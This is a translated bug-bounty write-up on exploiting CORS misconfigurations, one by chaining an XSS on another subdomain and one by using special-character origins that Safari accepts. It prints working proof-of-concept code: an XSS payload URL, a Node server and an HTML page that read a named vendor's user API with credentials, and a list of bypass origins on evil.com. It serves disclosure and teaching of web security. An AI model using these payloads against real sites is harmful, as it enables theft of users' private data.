本文非常有趣,感兴趣学习的可以花点时间往下看。
对于很熟悉或非常熟悉CORS的人来说,直接翻到最下面动动手指点点广告就可以关闭了,谢谢支持!
本文翻译自Medium https:// medium.com/bugbountywri teup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
嗨,各位好!
我叫Ayoub,我是摩洛哥的一名安全研究员。在本文中,我将描述利用CORS错误配置漏洞的两种不同情况:第一种是基于XSS,需要超出原域的情况;第二种基于高级CORS的利用。
注意:在开始阅读本文之前,你需要对CORS是什么以及如何利用cors错误配置有基本的了解。
以下是一些很棒的帖子,可以帮助您入门: http:// blog.portswigger.net/20 16/10/exploiting-cors-misconfigurations-for.html https://www. geekboy.ninja/blog/expl oiting-misconfigured-cors-cross-origin-resource-sharing/
情况一
大约一年前,我在一个托管在HackerOne上的私有program挖洞。加了Origin头之后进行HTTP请求,检查服务器响应以检查它们是否进行了域白名单检查,这时候我注意到该应用程序仅将子域(甚至是不存在的子域)盲目地列入了白名单。
出于隐私原因和负责的披露政策,我们假定该Web应用程序在:
http://www.redacted.com
这种CORS错误配置看起来像这样:
请求包
GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close
响应包
HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: evil.redacted.com
该API接口返回用户的私人信息,例如全名,电子邮件地址等---敏感信息
要利用这个CORS的错误配置进行攻击,例如泄露用户的私人信息,我们需要一个废弃的子域(子域接管),或者在一个现有子域中找到XSS。
在域范围外思考
找到一个废弃的子域并不是一件容易的事,因此我决定选择第二种方法,即在一个现有子域中找到一个XSS。
但是,此私有program的域名范围仅限于:http://www.redacted.com,这意味着在其他子域中查找XSS绝对不在这个program范围内,但是这个XSS能与范围里的CORS错误配置漏洞组合。
而且,其他子域不在这个program范围之内的是让我更加开心,因为这样hackerone上的其他白帽子就不会在其他子域中进行测试,因此很有可能在这些子域上找到XSS。
我怀着充满希望的心情开始挖掘其他子域的XSS,并且不到一个小时的时间,在http://banques.redacted.com中就找到了一个。
https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1
利用:
因此,要利用此CORS错误配置,我们只需要用以下代码替换XSS payload:
alert(document.domain)
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
像这样请求:
https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1
我当时拿到的奖励:
现在,如果我告诉你你仍然可以利用此漏洞,而且无需在任何现有子域中找到XSS或声明被放弃的子域。
这正是我们将在第二种情况下讨论的内容。
情况二
存在漏洞的接口
这次,我正在Ubnt上挖掘漏洞,尤其是托管在以下域名:
https://http://protect.ubnt.com/
按照相同的步骤,我确定了此站存在CORS错误配置,类似于前面的情况,但是这次应用程序是从其他位置获取用户的私人信息,该API接口是https://client.amplifi.com/api/user/
它盲目地将所有子域列入白名单,甚至是不存在的子域。
正如我们之前讨论的那样,要利用这个CORS错误配置漏洞,要么需要声明一个废弃的子域,要么在一个现有子域中找到XSS。
但是这是一个公共的program,漏洞接收范围较大(所有子域都在范围内);找到XSS的机会很小,甚至更别说子域接管漏洞了。
高级的CORS技术
好吧,事实证明,还有另一种方法,但这需要一定的条件才能起作用。
https://www.corben.io/advanced-cors-techniques/找到Corben Leo最近进行的有趣研究
这项研究基于以下事实:浏览器在发出请求之前并不总是验证域名。因此,如果使用某些特殊字符,则浏览器当前可能会提交请求,而无需事先验证域名是否有效和存在。
例子:
完全理解此技术后,让我们尝试打开一个带有特殊字符的URL,例如:
http://asdf`+=.withgoogle.com. 大多数浏览器会在发出任何请求之前先验证域名。
域名http://withgoogle.com,用作演示,因为它有一个通配符DNS解析
chrome:
Firefox:
Safari:
如你所见,Safari是一个例外,它会发送请求并尝试加载页面,这与其他浏览器不同。
我们可以使用各种不同的字符:
,&'";!$^*()+=`~-_=|{}%
// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
此外,可以在
https://www.bedefended.com/papers/cors-security-guide
找到Davide Danelon进行的另一项研究,结果表明,这些特殊字符的其他子集也可以在其他浏览器上使用。
现在,我们了解了这些信息,我们如何利用这个问题来进行高级漏洞利用,为进行很好的演示,让我们回到存在CORS的接口上:https://client.amplifi.com/
新的利用方法
在这种情况下,Web应用程序还接受以下Origin *.ubnt.com!.http://evil.com
不仅是字符“!”,还包括以下字符:
*.ubnt.com!.evil.com
*.ubnt.com".evil.com
*.ubnt.com$.evil.com
*.ubnt.com%0b.evil.com
*.ubnt.com%60.evil.com
*.ubnt.com&.evil.com
*.ubnt.com'.evil.com
*.ubnt.com(.evil.com
*.ubnt.com).evil.com
*.ubnt.com*.evil.com
*.ubnt.com,.evil.com
*.ubnt.com;.evil.com
*.ubnt.com=.evil.com
*.ubnt.com^.evil.com
*.ubnt.com`.evil.com
*.ubnt.com{.evil.com
*.ubnt.com|.evil.com
*.ubnt.com}.evil.com
*.ubnt.com~.evil.com
现在我们知道某些浏览器(例如Safari)接受带有特殊字符的URL,例如:https://zzzz.ubnt.com=.http://evil.com
因此,如果我们使用通配符解析设置域:http://evil.com,则允许将所有子域(* .http://evil.com)指向http://www.evil.com
如下页面中托管脚本:http://www.evil.com/cors-poc,会将带有子域名作为来源值的跨域请求发送到易受攻击的端点
然后,我们以某种方式强迫经过身份验证的用户打开链接:https://zzzz.ubnt.com=.http://evil.com/cors-poc
从理论上讲,我们可以窃取该用户的私人信息
漏洞复现
首先,设置一个带有通配符DNS解析的域名,该记录将其指向您的邮箱,我这里用GoDaddy托管我的域,并进行以下配置:
安装NodeJS,创建一个新目录,然后在其中保存以下文件
#serve.js
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80
http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type':'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);
在同一目录中,保存以下内容
#cors.html
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
启动NodeJS服务器
node serve.js &
现在,登录该应用程序:https://http://protect.ubnt.com/,并检查是否可以从以下接口查询帐户信息:https://client.amplifi.com/api/user/
最后,在Safari浏览器打开链接
https://zzzz.ubnt.com=.http://evil.com/cors-poc
因为我没有Mac电脑,所以我在iPhone的Safari浏览器打开。
我的奖励
最后
我确信很多安全研究人员已经遇到过这种情况,并且可以在HackerOne找到很多描述这种CORS错误配置的报告,但是由于缺乏利用的PoC。
这就是我要分享这经验的原因之一。当然我还重点介绍了利用这种漏洞的其他技术。
谢谢阅读。请随时在Twitter:https://twitter.com/sandh0t上关注我。
欢迎关注团队公众号:Timeline Sec